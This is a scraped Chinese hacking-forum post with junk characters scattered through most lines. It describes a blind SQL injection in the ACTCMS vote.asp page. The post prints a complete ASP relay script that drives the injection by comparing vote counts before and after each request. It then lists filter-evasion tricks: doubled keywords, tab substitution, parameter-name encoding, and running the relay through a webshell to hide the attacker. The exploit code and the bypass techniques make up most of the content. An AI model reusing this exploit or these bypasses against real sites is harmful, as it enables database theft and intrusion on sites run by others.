找回密码
 立即注册
查看: 2790|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

: ]/ B0 ^" H# k8 l6 B+ Z, k看到ninty大牛的blog的一篇文章4 u/ o4 x# Y2 _: O
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
7 C+ |3 W! F- Z4 Q关于actcms漏洞的利用  by 3x qq:3818625895 h. l) o  N) n2 _
转载请注明以上/ j% F1 {' Y* e3 n, H- j
漏洞文件:
3 P$ Q/ h! D- d- Z; f) V. L; o/plus/vote/vote.asp0 r% q% k+ b4 ]# ^, `* Z
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: ~# F4 g" x% |5 V* u3 a. I2 q2 l2 w# h/ g7 `2 ?7 ]
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ( B- X* ?8 D0 G; _
- t/ u- c4 E; r9 r4 i; R% I% p3 r
3    response.end    ! q$ g& T6 Q7 a7 q" D1 p

, a8 t: q$ R+ ~+ X, k; E4    end if    % W: v: n2 g8 ?$ h% g$ M: w
' u/ O" d5 V5 s
5    for i=1 to request("voted").count    - Q0 D( G6 [" R1 X$ }  p
7 q8 s8 N- f! ~5 N. u5 E
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    - ^, I$ S+ j( J0 q+ f* V) b0 x
% t9 z3 x' Y5 }2 _# v! X% w. j! T
7    next    3 X+ M# i" a2 _+ x
( e9 X7 c2 ^8 J
8....    ; \7 P0 `% p$ O: R- m1 @

# z3 |& U- O5 ^/ u9response.Redirect "index.asp?id="&id&""   ! d7 ?/ @1 y. `# M; ^& @5 Z
投票结束回跳转回index.asp这个投票结果页面( I0 ]* p( K1 \5 y2 {# t
如果投票成功票数加18 _8 T6 }" N% p
            失败票数不变0 [) c9 W1 S/ k$ j$ m# H' m! \6 `- R
如图:
( r9 i1 a7 G6 h1 ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)4 `+ e! p. Q3 u( m
8 t4 ]3 E3 \* v
2009-12-27 13:20# o, b6 L  O( q9 c% a' ]/ n
/ K5 {6 H! k) z0 R8 t  l" \! I
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
- l; U( A4 ?; V) _* E
; X! G" G5 p* R, C: Z8 R本帖隐藏的内容需要回复才可以浏览
  u" b. S* Z. k( n5 J我们用注入中转来实现这个注入具体代码如下:" x. W: W8 K" _
先用寂寞的刺猬大牛的注入中转生成jmget.asp3 p) a2 c, f8 x
注入地址:http://localhost/actcms/plus/vote/vote.asp- }. Z  T& o! N$ i! ?6 a3 G  E
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
0 I, N+ m) C5 Q6 ]) c- {; }0 ]' z# B% H* E6 B7 r( r. G
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 w$ r" m) S) k1 w6 V0 L8 }0 J

- }/ A5 }* |5 J7 N8 i02JmdcwName=request("jmdcw")
& R2 W" E9 T1 [6 L# j! B
: p. {& J+ E3 J- B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; j% S+ i9 v$ W; H
3 ~, |: [7 W" ?' c) V) I
04JmStr="id=1&voted=-1 or 1="&JmdcwName ) g$ `4 Y6 J; T6 R* U* U- }. g

! C" `0 B% E% q+ Z05JmStr=URLEncoding(JmStr) # x3 i; L* }! q3 R- y/ I% s

! |- q1 s; J* f) I6 e0 k! p; D06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 q- o  l- j& F3 ]& H2 Y
9 e  I) p8 \+ B* \: J, `07testurl="链接标记http://localhost/actcms/plus/vote/index.asp") u8 Q* P+ @0 p% e' `
' a4 [: W8 S" a
08testurl=testurl & "?" & JmStr * o/ T( N* @- H( k& t" X

( Z) K$ [$ O* w( m4 ~3 F- x0 U6 z09JMUrl=JMUrl & "?" & JmStr
. v1 A, N: P5 b* d. Q: {! n( h. Z5 C4 ~8 _" P' ^) I5 f' w" Y
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 n6 F) k$ a) U1 d% J4 m0 p( s" M  n! \
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"! I; s3 r0 U5 D

- X- ?8 S  J# t! B1 C12JmCok=replace(JmCok,chr(32),"%20")  
& L, V2 ^7 q2 S; ^9 ~, y# a& i1 z7 G, d: q
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 G, Y' _3 a- S8 B& @$ _
: E4 A8 ^+ r% A$ H! M14  
5 ?' i7 Z# m  f+ Y5 o9 ?  |; x9 e8 D5 K4 O9 g+ |
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! G% S! e) s* E/ x  ?+ A* V; h0 R4 x% B) y; n6 S
16  3 m* L+ }% F" c* n7 Z+ ?" C

. m% y9 y" p3 g9 L+ r7 c17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 $ ^0 i) m* M$ ^! A& U, I

% g. W0 S* y4 [3 b18response.write test1&""&test2&""9 z% c/ \* j5 i0 f. p

0 S5 x7 o! q4 s. h5 G19  $ C) U* A6 B. ^0 D- o/ D) _

9 j& r( N- X3 Z( f" o20if test1=test2 then '如前后记录相等,表示失败
5 z- R4 y- \, }2 [6 `/ }3 X+ d( a0 T! u/ |
21  response.write "failed"+ t  V) i" C+ @9 ~7 j
; ^# z' t' L+ a3 B) l' m
22else * Z: }( e. Q7 z; r) |/ n9 [

6 k% e. H+ L$ T& e5 l: g23  response.write "succeed"
& X. V! t# D& e0 E. u0 G
2 c, v6 X3 \4 f24end if  
6 s/ f, J5 }5 V# W+ N+ ^" ~
' g- q$ J2 Y4 j25  0 [' @9 K; P9 p: u3 }5 f: T2 Q
$ Z( q+ |( O9 w: [2 g& D6 _
26response.write "by 3x"
9 H) x0 I; l! p& t  T1 x) d" E2 z" z9 @. s0 h& `0 _- d
27  
: i: e1 D: y4 {$ p. g' U+ }# A' G: ~; V; H
28  
# f. ?, D: N( r' w4 }3 x, o  y5 w2 K! H+ W8 r
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   3 A+ w* H& ?* l9 w. T. W5 b

2 U" h5 h* J/ G$ h' q4 Z& N30Dim Http ( Z2 c. t. G+ T8 s
) U  A1 G; x( @+ d9 Y, F* m
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 X$ t/ t4 x* _$ r
7 A1 H4 b4 }5 D8 S# Z
32With Http
! V" f6 G) c/ @3 l1 F3 Q& k8 b. i( ?# M: w
33  
4 L* n# ], h  `1 I
4 K3 B3 w  H3 {$ q1 o34.Open "GET",PostUrl,False" a! c0 E& U; \7 A
0 [) o% \) U. c6 V; u& x4 t5 `% U
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 C  B5 L/ |7 F6 j1 z7 I5 _" d6 L" N0 d$ ]
36.SetRequestHeader "Referer",PostRef
. d7 J; |1 R. F* [! i
) \" V7 q& [5 p! P37.SetRequestHeader "Cookie",PostCok / e3 K& v. |/ }2 D9 e' C# `

4 ]& n" L: M8 o& H38.Send ()
/ \, q6 F) C! c2 o$ h9 o5 E8 F) Y% d5 V4 t* w: ^4 i
39PostData = .ResponseBody
( D9 K: U! Z2 r% F9 I
& T; t- d, ^- b7 H# m/ d3 |5 r40End With
8 N5 f+ J% t7 _$ |; H7 _- ^1 G; J7 C& Q* {* [
41Set Http = Nothing
* t" C0 R% T/ W' b2 h6 ~. D  g# S9 G2 g8 @
42PostData =bytes2BSTR(PostData) 1 C( Y( P; W% o  I
" A9 u: V2 d' }6 b
43End Function2 `! |* S0 @& _7 b+ r

: z  B, a+ k/ g44  
+ G8 [( V1 G2 I  l! L
( d7 }' Q; t& \2 Y45  . S, A; O' k0 ]" ?9 ?; @5 d

2 U- @6 S# \0 n: s+ V46Function bytes2BSTR(vIn)
9 X9 P: |7 h' ^+ }& C9 _
9 G0 N" u9 R9 R5 r, S8 ^6 D, ]2 F47Dim strReturn
2 ^& u4 D4 Z3 D4 ]7 y) P; J& x8 b- q
48Dim I, ThisCharCode, NextCharCode 5 v/ u$ v& t% o3 Q
# [# n9 q  B- r1 ?$ k3 C
49strReturn = ""
0 O! j: S! _- H7 U8 e# X. v" o, b; L, v5 C- ]- [! X' n$ Z
50For I = 1 To LenB(vIn)
8 q5 \  x# }) _8 w. t+ a
4 U% X+ R$ F( T51ThisCharCode = AscB(MidB(vIn, I, 1))
; _3 ^  s9 |3 I% t
" J7 G: f6 L9 P; p7 i52If ThisCharCode < &H80 Then
' V. k$ C0 X% i% }0 R8 f! \$ i6 s9 n, @) B0 M$ X8 q
53strReturn = strReturn & Chr(ThisCharCode)
2 s, [) M( B  T/ ]& M! d2 b: y" z/ b, M
54Else$ v& E% e  q; L: t* E3 a
6 g: R/ H) l, ?3 i/ _  t4 P' r
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ' L' R7 q) `4 {8 C: Q! R; T
% y8 w: T0 Q1 i$ S2 ^
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
: Z5 r# S1 h) d# M( \5 t: m$ n, h3 m2 p; U
57I = I + 1
2 T; r# ^/ M" L9 Z: P1 u; e
0 i+ S) T/ f" v. q% ~' \2 k2 R58End If  O' \1 _1 I1 [2 S6 d& g, ?
, E& S9 K* V. Z
59Next7 l4 L* V5 q5 a  Y! B/ f- i( J

* D$ C& {& A% ^- r9 ]3 @- |1 ?0 f60bytes2BSTR = strReturn
+ {& i: ?$ E# G" c
& r9 ~3 D5 U0 ?" N& `5 v61End Function
1 J; V$ O' A$ T
: T4 ^( B2 @5 Z" y) {  L62  2 o/ {9 X8 P( C  J

) ~2 s# f* A- s- C, U63Function URLEncoding(vstrin)  7 S" U* N3 X0 c+ ?: M$ N' J

9 d8 t6 K2 O) i; D2 O1 d: k64strReturn=""3 k$ |  _4 u0 \8 ]/ A' |

8 ^+ M: T, S% T+ p" f65Dim i : @0 ^2 X; V" i8 [) ~/ ]9 E" d. m

5 j. v4 j% G$ o' L. n2 n: t9 `66For i=1 To Len(vstrin) 9 ]4 l9 t; l0 ^- ^9 w
, U- q( S: I$ g$ T! X! Q8 k
67ThisChr=Mid(vstrin,i,1) % p9 g7 u% F0 [! q" [3 L+ `

5 Q" @. l' f' }; s! O68if Abs(Asc(ThisChr))< &HFF Then
+ C& S- m' G) V) g, v
6 x- H* L: j' [9 G4 S* r1 [7 w69strReturn=strReturn & ThisChr " G) l6 Y& f1 I' c3 E8 e6 _2 ~

& G, n, P& f  l- a70Else3 S: h# v" a! E4 o$ J5 Z' R

1 S; e9 G' P& e6 [7 y% i# t+ E71InnerCode=Asc(ThisChr) 7 T2 }. e+ n2 \; Y7 G

4 e, r8 D. O: }6 i/ V; q# q72If InnerCode<0 Then- X5 x1 o* Z8 E/ g- H6 |
, ^$ o" L- p% }
73InnerCode=InnerCode + &H10000 & f/ \( m1 X0 A2 Q) P4 T! d; K
; F% ]" J* g8 |  \: {
74End If
. _7 ]! ]" E5 \) c& O! ~6 P5 ^. i0 n4 {. a( a2 \& ?
75Hight1=(InnerCode And &HFF00) \&HFF
1 K% r. ]# J- s1 _6 B" t. i: p2 k; L3 e6 _% @) d4 s
76Low1=InnerCode And &HFF
& R% c8 m$ C3 W  m( `6 H6 h) w! u- p& d' b! H* N' M/ f
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 9 q' K7 @, L9 s
, y. E- v- N/ j$ C  }8 m( [( I
78End if 6 \3 ?% f4 {4 ]& v% X( A

# _! u: S& o8 f, j79Next
% N" B' p, t7 H3 x- K( ^4 a! w# f0 b$ e' U8 K6 u
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 1 C# _6 x1 R  M6 O4 q. N
0 s( v3 K0 E( k
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
- N+ n* y& w0 I2 |2 l- A% P  n
8 {4 O$ h/ N% t. _6 F82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
* Q" O( R8 p; h' o6 r0 o: C& I7 T8 G
83URLEncoding=strReturn * a, A* u5 z  f, @, }

$ Q: E( ]6 a; c- }84End Function: Q& d" e1 y$ R/ `/ }' R- k, p

; G, C7 h. P; H- _85  & r9 d& V) E. {' E% i9 l3 O7 E
, c/ S  |# p; I5 ?( }+ I2 ]
86function getSt(body)
" T2 M+ |4 Z# g( r4 R
+ l! |3 W2 K5 l# w8 u, G3 k1 t87  startpot=instr(body,"投票人数:")+len("投票人数:") 3 s8 ?. B5 o( p- H  h* J) i/ I

* K  d) u! g/ n, _1 \% N9 V+ k) H! ]88  endpot=instr(startpot,body," ")
. n) t6 ^! ]  @) {1 y
. I1 w6 P7 n! M& \5 h0 ^% T; D89  getSt=mid(body,startpot,endpot-startpot)
) o1 M# ^2 i$ |! D( L6 u0 B0 D9 ?
90end function # }' ]2 p; G0 I4 G% @0 ?/ b& @

9 D4 I1 h; ^& c0 v91%>- r7 s5 G! e, C' |" b
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了( ~$ K- L0 J# s9 U  O
测试下效果:
- p" n. V' n1 |; n8 z4 Y- ~" n7 l投票成功:
) h3 u0 b% g; g1 J7 k# |http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)6 h0 p# m$ p" y' }4 [, v
' P# m7 P" a3 p1 R2 F
2009-12-27 13:29: O( V. t* W1 Z/ A' P2 l
投票失败
6 P' f) }! e5 ]( lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)  V" h2 H) ^7 f
" W0 j+ `( x! Z9 S* E/ L* S0 x
2009-12-27 13:29
' g: d7 B- r/ ]- ]- [; q-------------------------------------------------------------------------------
  }2 |- U; p' `! d0 {3 a  M6 ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ U  ~, o3 F  O. m很抱歉。。。只能用单线程工具去注入。。。。。
  M/ M9 c% ?- `7 ^0 S: D所以失败。。。不好意思。。。0 I) m$ W& z, K( c  O
-------------------------------------------------------------------------------  h7 |% m* x- @5 J1 G

  M- ^. ?9 Z1 _' f: r& s注入中转的一些其他应用
* X  ~  T5 U0 Z, b0 B9 I6 K3 r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了9 G; g0 ~5 O6 y
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 _! w& |- W/ p
2.post注入转成get型的注入,方便我们使用工具来跑
* P5 n7 i/ S: W; g; m9 `1 |3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 X& p' g- M$ T4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
7 @/ b9 D2 o: K3 I( r, ?6 b8 @/ i; _/ \
% b' ^! [& L  _3 t9 p% F( u4 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表